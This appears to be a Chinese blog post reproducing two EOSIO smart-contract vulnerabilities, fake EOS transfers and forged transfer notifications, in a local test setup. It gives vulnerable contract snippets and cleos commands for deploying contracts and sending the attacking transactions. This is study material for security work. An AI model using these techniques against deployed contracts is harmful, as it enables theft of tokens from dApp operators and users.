EOSIO-Vulneribilities

EOSIO漏洞复现

实验环境
  • nodeos :2.0.12
  • EOSIO.CDT(编译器):1.2.1
  • 实验数据

准备(前一篇文章已经介绍如何创建账户等等操作
  • 解锁账户(默认锁定时间较短,可以自己修改配置文件使得时间更长)

    yourcount:指你自己创建的钱包名

    1
    $ cleos wallet unlock -n yourcount --password
EOS Fake Transfer复现过程
  • 存在漏洞的合约示例(test.cpp):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    if( code == self || action == ::eosio::string_to_name("onerror") || code == N(eosio.token)) {
    print("receiver:", name{receiver}, ", code:", name{code}, ", action:", name{action}, "\n");
    notified thiscontract( self );
    switch( action ) {
    case ::eosio::string_to_name( "transfer" ):
    eosio::execute_action( &thiscontract, &notified::transfer );
    break;
    }
    }
    // doSomething()
    }
  • 漏洞产生的原因

    由于eosio.token源代码完全公开的,所以任何人都能复制其源代码,并发布一个token(相同的名字、符号和代码),虚假的EOS和官方的唯一不同就是具有不同的发布人(issuer)。或者直接调用漏洞合约的transfer函数进行转账

  • 过程

    • 创建受害者账户

      your key:是你自己创建的公钥,需要把公钥导入到你的钱包以及官方钱包eosio

      1
      $ cleos create account eosio victim4 "your key"
    • 部署测试合约test.cpp

      cleos set contract + 账户名 + 测试合约的wasm字节码所在目录 + -p + 账户@active(默认权限为active,故可加可不加)

      1
      $ cleos set contract victim4 test/ -p  victim4
  • 开始模拟攻击

    • 直接调用test.cpp合约的transfer(主要目的看是否trasnfer中的print是否有输出)

      cleos push action + 账户名 + 需要调用的action + ‘调用action的参数’ + -p + 转账账户 (+ -j)

      1
      $ cleos push action victim4 transfer '["eosio","victim4","10.0000 EOS","inlined call"]' -p  eosio -j

      说明:加了一个 -j ,说明结果以json的格式进行输出的

      结果显示:测试合约的transfer函数被调用了

  • 查询账户余额

    cleos get currency balance eosio.token + 查询账户 + token名(EOS)

    1
    $ cleos get currency balance eosio.token victim4 EOS
Forged Transfer Notification复现过程
  • 存在漏洞的合约示例(test.cpp):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    void transfer(account_name from, account_name to, asset quantity, string memo) {
    print("\n Receiving transfer message: from ", name{from}, " to ", name{to}, ",", quantity, ",", memo);
    if (from == _self) {
    print("have a vulnerability!");
    return;
    }
    print("in eosbet transfer,", name{ from }, ",", name{ to });
    // doSomething()
    }
  • 漏洞产生的原因

    攻击者在 EOS 网络中控制两个账户 A(发起攻击的账户) 和 B(将收到的通知立即转发给账户C)。通过账户 A 向账户 B 发送真正的 EOS,如图所示,eosio.token 合约在转账成功后会向 账户A、B 发送 notification。当账户 B 收到 notification后,通过调用require_recipient(C)随即将收到的通知转发给部署受害者智能合约的账户C。

  • 过程

    • 创建攻击者账户sender,用于向另一个由攻击者控制的账户notifier

      your key:是你自己创建的公钥,需要把公钥导入到你的钱包以及官方钱包eosio

      1
      $ cleos create account eosio sender "your key"
    • 创建账户notifier,用于将收到的转账通知转发给受害者

      1
      $ cleos create account eosio notifier "your key"
    • 创建受害者账户

      1
      $ cleos create account eosio victim5 "your key"
    • 账户notifier部署攻击合约eosbethack.cpp

      cleos set contract + 账户名 + 测试合约的wasm字节码所在目录 + -p + 账户@active(默认权限为active,故可加可不加)

      1
      $ cleos set contract notifier eosbethack/ -p notifier
    • 账户victim5部署攻击合约eosbet.cpp

      1
      $ cleos set contract victim5 eosbet/ -p victim5
  • 开始模拟攻击

    • 账户sender(攻击者)向账户notifier(攻击者)发送EOS(主要目的看是否trasnfer中的print是否有输出)

      cleos push action + 账户名 + 需要调用的action + ‘调用action的参数’ + -p + 转账账户 (+ -j)

      1
      $ cleos push action eosio.token transfer '["sender","notifier","10.0000 EOS","transfer himself"]' -p sender -j

      说明:加了一个 -j ,说明结果以json的格式进行输出的

      结果显示:测试合约的transfer函数被调用了

      结果显示:

-------------本文结束 感谢阅读-------------
献上你的银子!

欢迎关注我的其它发布渠道